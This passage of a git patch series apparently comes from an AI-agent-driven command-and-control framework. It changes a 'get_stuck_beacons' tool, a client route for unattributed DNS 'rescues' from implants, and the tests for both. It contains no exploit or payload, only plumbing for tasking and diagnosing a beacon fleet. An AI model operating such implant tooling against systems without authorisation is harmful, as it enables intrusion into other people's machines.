leg failed. `dns_answered` " "false means nothing can leave that host, so a queued " - "attempt will not arrive either.", + "attempt will not arrive either. `unattributed` lists " + "rescues the server could not match to any beacon: those " + "entries have no id and cannot be tasked, so do not try to " + "queue anything for them -- they are evidence that a beacon " + "is stuck somewhere, nothing more.", {"type": "object", "properties": {}}), ("orchestrator",), CORE, _get_stuck_beacons, requires_c2=True), diff --git a/software/tests/test_dns_rescue.py b/software/tests/test_dns_rescue.py index c728e79..c43e6f4 100644 --- a/software/tests/test_dns_rescue.py +++ b/software/tests/test_dns_rescue.py @@ -1800,13 +1800,17 @@ def test_a_dead_resolver_is_called_out(self): class _StuckC2: """Just enough C2 for the tool: a fleet and a task queue.""" - def __init__(self, agents): + def __init__(self, agents, unattributed=()): self._agents = agents + self._unattributed = list(unattributed) self.queued = [] async def list_agents(self): return list(self._agents.values()) + async def unattributed_rescues(self): + return list(self._unattributed) + async def get_agent(self, agent_id): return self._agents.get(agent_id) @@ -1835,20 +1839,24 @@ def _stuck_agent(**over): return agent -class TestTheAgentReadsTheDiagnosis(unittest.TestCase): - def _tool(self, c2, name): - import asyncio as _asyncio +def _orchestrator_tool(c2, name): + import asyncio as _asyncio - from software.agent.tools import registry + from software.agent.tools import registry - tools = registry.orchestrator_tools( - None, 1, dispatch_single=None, dispatch_parallel=None, - tier="full", scope_key="k", c2=c2) - for tool in tools: - if tool.spec.name == name: - return lambda **kw: _asyncio.run(tool.fn(**kw)) - raise AssertionError("no tool %r; got %s" - % (name, [t.spec.name for t in tools])) + tools = registry.orchestrator_tools( + None, 1, dispatch_single=None, dispatch_parallel=None, + tier="full", scope_key="k", c2=c2) + for tool in tools: + if tool.spec.name == name: + return lambda **kw: _asyncio.run(tool.fn(**kw)) + raise AssertionError("no tool %r; got %s" + % (name, [t.spec.name for t in tools])) + + +class TestTheAgentReadsTheDiagnosis(unittest.TestCase): + def _tool(self, c2, name): + return _orchestrator_tool(c2, name) def test_it_reports_the_diagnosis_for_a_stuck_beacon(self): c2 = _StuckC2({"b1": _stuck_agent()}) @@ -1969,6 +1977,168 @@ def test_they_are_absent_without_a_c2(self): self.assertIn("log_score", names) +def _unattributed_record(**over): + record = { + "summary": "HTTPS: unreachable; DNS: answered; SMB: unreachable; " + "QUIC: timed out.", + "dns_answered": True, "fingerprint": 4242, "at": "now", + "https": ["unreachable", 0], "dns": ["answered", 0], + "smb": ["unreachable", 0], "quic": ["timed_out", 0], + } + record.update(over) + return record + + +class TestTheAgentReadsRescuesNobodyCanClaim(unittest.TestCase): + """Rescues from a beacon that never registered, so there is no id.""" + + def _tool(self, c2, name): + return _orchestrator_tool(c2, name) + + def test_the_tool_reports_unattributed_rescues_under_their_own_key(self): + # Separate from "stuck" on purpose: there is no beacon id to task, so + # a model must not be able to mistake one for something it can act on. + c2 = _StuckC2({"b1": _stuck_agent()}, + unattributed=[_unattributed_record()]) + got = self._tool(c2, "get_stuck_beacons")() + self.assertEqual(len(got["stuck"]), 1) + self.assertEqual(len(got["unattributed"]), 1) + self.assertEqual(got["stuck"][0]["beacon_id"], "b1") + self.assertIn("unreachable", got["unattributed"][0]["summary"]) + self.assertTrue(got["unattributed"][0]["dns_answered"]) + self.assertEqual(got["unattributed"][0]["legs"]["quic"], + ["timed_out", 0]) + + def test_unattributed_entries_are_never_mixed_into_stuck(self): + c2 = _StuckC2({}, unattributed=[_unattributed_record()]) + got = self._tool(c2, "get_stuck_beacons")() + self.assertEqual(got["stuck"], []) + self.assertEqual(len(got["unattributed"]), 1) + + def test_an_unattributed_entry_carries_no_beacon_id_field(self): + # A field named like an id invites queueing work against it. + c2 = _StuckC2({}, unattributed=[_unattributed_record()]) + entry = self._tool(c2, "get_stuck_beacons")()["unattributed"][0] + for key in entry: + with self.subTest(key=key): + self.assertNotIn("id", key.lower().split("_")) + self.assertNotIn("hostname", entry) + + def test_no_unattributed_rescues_is_an_empty_list(self): + got = self._tool(_StuckC2({}), "get_stuck_beacons")() + self.assertEqual(got["unattributed"], []) + + def _tool_over_the_real_client(self, status): + # The real client against a server that answers `status` for the + # route, so the failure is the one the client itself raises. + import types + + from software.agent import c2client + + class Session: + def request(self, method, url, **kw): + if url.endswith("/api/agents"): + body = [_stuck_agent()] + return types.SimpleNamespace( + status_code=200, json=lambda: body) + return types.SimpleNamespace( + status_code=status, json=lambda: {}) + + client = c2client.C2Client("http://127.0.0.1:8099", "tok", + session=Session()) + return self._tool(client, "get_stuck_beacons") + + def test_the_tool_still_works_against_a_server_without_the_route_405(self): + # An older team server answers 405, not 404: its catch-all + # / accepts only POST, so a GET to an unrouted path is a + # method error. The client treats only 404 as "missing", so this + # arrives as a C2Unavailable and the tool has to absorb it. + got = self._tool_over_the_real_client(405)() + self.assertEqual(len(got["stuck"]), 1) + self.assertEqual(got["unattributed"], []) + self.assertNotIn("error", got) + + def test_the_tool_still_works_against_a_server_without_the_route_404(self): + got = self._tool_over_the_real_client(404)() + self.assertEqual(len(got["stuck"]), 1) + self.assertEqual(got["unattributed"], []) + + def test_the_tool_still_works_when_the_route_fails_outright(self): + got = self._tool_over_the_real_client(500)() + self.assertEqual(len(got["stuck"]), 1) + self.assertEqual(got["unattributed"], []) + + def test_the_stuck_list_is_not_swallowed_with_it(self): + # Only the unattributed fetch degrades. A failing fleet listing is + # still a failure of the whole call. + from software.agent import c2client + + class Broken(_StuckC2): + async def list_agents(self): + raise c2client.C2Unavailable("down") + + with self.assertRaises(c2client.C2Unavailable): + self._tool(Broken({}), "get_stuck_beacons")() + + def test_the_tool_description_says_they_cannot_be_tasked(self): + from software.agent.tools import egress + + spec = next(e.spec for e in egress.entries() + if e.spec.name == "get_stuck_beacons") + text = spec.description.lower() + self.assertIn("unattributed", text) + self.assertIn("no id", text) + self.assertIn("cannot be tasked", text) + + +class TestTheClientAsksForUnattributedRescues(unittest.IsolatedAsyncioTestCase): + def _client(self, status=200, payload=None): + import types + + from software.agent import c2client + + calls = [] + + class Session: + def request(self, method, url, **kw): + calls.append((method, url)) + return types.SimpleNamespace( + status_code=status, json=lambda: payload) + + return (c2client.C2Client("http://127.0.0.1:8099", "tok", + session=Session()), calls) + + async def test_it_returns_the_records_from_the_route(self): + client, calls = self._client( + payload={"unattributed": [_unattributed_record()]}) + got = await client.unattributed_rescues() + self.assertEqual(got, [_unattributed_record()]) + self.assertEqual(calls, [ + ("GET", "http://127.0.0.1:8099/api/rescues/unattributed")]) + + async def test_a_404_is_an_empty_list(self): + client, _ = self._client(status=404) + self.assertEqual(await client.unattributed_rescues(), []) + + async def test_a_405_is_still_an_error_here(self): + # allow_missing must stay 404-only: widening it would make every + # call in the client read a method error as an absent resource. + from software.agent import c2client + + client, _ = self._client(status=405) + with self.assertRaises(c2client.C2Unavailable): + await client.unattributed_rescues() + + async def test_an_answer_without_the_list_is_rejected(self): + from software.agent import c2client + + for payload in ([], {"oops": 1}, {"unattributed": "no"}): + with self.subTest(payload=payload): + client, _ = self._client(payload=payload) + with self.assertRaises(c2client.C2Unavailable): + await client.unattributed_rescues() + + class TestTheOrchestratorOffersThem(unittest.TestCase): """A tool built and never offered is a tool that does not exist.""" From 63a4ecf9d4ff70337d6ac689ace142bb5636a163 Mon Sep 17 00:00:00 2001 From: Benji Trapp Date: Mon, 16 Nov 2026 10:46:23 +0100 Subject: [PATCH 12/22] fix(rescue): an unaskable server is not 'no rescues'; show the fingerprint --- software/agent/c2client.py | 13 ++--- software/agent/tools/egress.py | 37 +++++++++---- software/tests/test_dns_rescue.py | 92 ++++++++++++++++++++++++++----- 3 files changed, 111 insertions(+), 31 deletions(-) diff --git a/software/agent/c2client.py b/software/agent/c2client.py index 6db7087..1d242d4 100644 --- a/software/agent/c2client.py +++ b/software/agent/c2client.py @@ -277,15 +277,12 @@ async def list_agents(self) -> List[dict]: async def unattributed_rescues(self) -> List[dict]: """Rescues the C2 received but could not match to any beacon. - Newest first. A 404 reads as "none": a team server older than the - route has nothing of this kind to report. It answers 405 rather - than 404 (its catch-all takes only POST), and that is deliberately - not tolerated here -- the caller that wants to degrade on it does so. + Newest first. A missing route is NOT read as "none": a 404 (or the + 405 an older team server gives, its catch-all taking only POST) + raises, because "I could not ask" and "I asked and there are none" + are different answers and the caller reports them differently. """ - payload = await self._request( - "GET", "/api/rescues/unattributed", allow_missing=True) - if payload is None: - return [] + payload = await self._request("GET", "/api/rescues/unattributed") records = self._expect_dict( payload, "the unattributed rescues").get("unattributed") if not isinstance(records, list): diff --git a/software/agent/tools/egress.py b/software/agent/tools/egress.py index e0987db..3d55f45 100644 --- a/software/agent/tools/egress.py +++ b/software/agent/tools/egress.py @@ -66,6 +66,17 @@ def _leg_report(record): } +def _unattributed_entry(record): + entry = _leg_report(record) + # The two-byte tag the beacon sent, shown as the server's own log shows + # it. It is a hash, not an id: it names nothing that can be tasked, but + # two entries with the same value are very likely the same beacon. + fp = record.get("fingerprint") + ok = isinstance(fp, int) and not isinstance(fp, bool) and 0 <= fp <= 0xFFFF + entry["fingerprint"] = "%04x" % fp if ok else "" + return entry + + def _get_stuck_beacons(ctx): async def get_stuck_beacons(): agents = await ctx.c2.list_agents() @@ -83,18 +94,21 @@ async def get_stuck_beacons(): # reported under their own key because there is no id to task: mixed # into `stuck`, a model would try to queue work against one. # - # A failure to ask degrades to an empty list. A team server older - # than the route answers 405 (its catch-all takes only POST), which - # the client rightly treats as an error rather than a missing - # resource, so the tool absorbs it here instead of failing a call - # whose main answer is already in hand. + # If the fetch fails the key is OMITTED, not emptied: present means + # "I asked", so an empty list means there are none, and an absent + # key means the question could not be put. A team server older than + # the route answers 405 (its catch-all takes only POST). The + # exceptions are listed on purpose and must not be "simplified" to + # `except Exception`: a programming error on this path should crash + # loudly, not turn into a quiet "no unattributed rescues". + result = {"stuck": out} try: records = await ctx.c2.unattributed_rescues() except (C2Unavailable, C2Unauthorized): - records = [] - unattributed = [_leg_report(r) for r in records or () - if isinstance(r, dict)] - return {"stuck": out, "unattributed": unattributed} + return result + result["unattributed"] = [_unattributed_entry(r) for r in records or () + if isinstance(r, dict)] + return result return get_stuck_beacons @@ -165,7 +179,10 @@ def entries(): "rescues the server could not match to any beacon: those " "entries have no id and cannot be tasked, so do not try to " "queue anything for them -- they are evidence that a beacon " - "is stuck somewhere, nothing more.", + "is stuck somewhere, nothing more. Entries with the same " + "`fingerprint` are very likely the same beacon. If the " + "`unattributed` key is absent the server could not be asked; " + "present and empty means it was asked and there are none.", {"type": "object", "properties": {}}), ("orchestrator",), CORE, _get_stuck_beacons, requires_c2=True), diff --git a/software/tests/test_dns_rescue.py b/software/tests/test_dns_rescue.py index c43e6f4..06e4b3a 100644 --- a/software/tests/test_dns_rescue.py +++ b/software/tests/test_dns_rescue.py @@ -2055,18 +2055,72 @@ def test_the_tool_still_works_against_a_server_without_the_route_405(self): # arrives as a C2Unavailable and the tool has to absorb it. got = self._tool_over_the_real_client(405)() self.assertEqual(len(got["stuck"]), 1) - self.assertEqual(got["unattributed"], []) + self.assertNotIn("unattributed", got) self.assertNotIn("error", got) def test_the_tool_still_works_against_a_server_without_the_route_404(self): got = self._tool_over_the_real_client(404)() self.assertEqual(len(got["stuck"]), 1) - self.assertEqual(got["unattributed"], []) + self.assertNotIn("unattributed", got) def test_the_tool_still_works_when_the_route_fails_outright(self): got = self._tool_over_the_real_client(500)() self.assertEqual(len(got["stuck"]), 1) - self.assertEqual(got["unattributed"], []) + self.assertNotIn("unattributed", got) + + def test_a_failed_fetch_omits_the_key_rather_than_emptying_it(self): + # Present and empty means "I asked, there are none"; absent means + # "I could not ask". Emptying it would make the two the same. + asked = self._tool(_StuckC2({}), "get_stuck_beacons")() + self.assertEqual(asked["unattributed"], []) + could_not = self._tool_over_the_real_client(405)() + self.assertNotIn("unattributed", could_not) + + def test_a_rejected_token_on_that_route_also_omits_the_key(self): + from software.agent import c2client + + class Rejected(_StuckC2): + async def unattributed_rescues(self): + raise c2client.C2Unauthorized("no") + + got = self._tool(Rejected({"b1": _stuck_agent()}), + "get_stuck_beacons")() + self.assertEqual(len(got["stuck"]), 1) + self.assertNotIn("unattributed", got) + + def test_a_programming_error_in_that_call_is_not_swallowed(self): + # Only the client's own failures degrade. Anything else is a bug + # and must surface, not read as "no unattributed rescues". + class Buggy(_StuckC2): + async def unattributed_rescues(self): + raise KeyError("a bug") + + with self.assertRaises(KeyError): + self._tool(Buggy({}), "get_stuck_beacons")() + + def test_an_entry_carries_the_fingerprint_as_the_server_logs_it(self): + c2 = _StuckC2({}, unattributed=[_unattributed_record(fingerprint=0xBEE)]) + entry = self._tool(c2, "get_stuck_beacons")()["unattributed"][0] + self.assertEqual(entry["fingerprint"], "0bee") + + def test_repeats_from_one_beacon_share_a_fingerprint(self): + c2 = _StuckC2({}, unattributed=[ + _unattributed_record(fingerprint=7, at="t1"), + _unattributed_record(fingerprint=7, at="t2"), + _unattributed_record(fingerprint=9, at="t3")]) + got = self._tool(c2, "get_stuck_beacons")()["unattributed"] + self.assertEqual([e["fingerprint"] for e in got], + ["0007", "0007", "0009"]) + + def test_a_fingerprint_that_is_not_two_bytes_is_not_passed_through(self): + # Whatever the server sent, only a two-byte number is rendered. + for bad in ("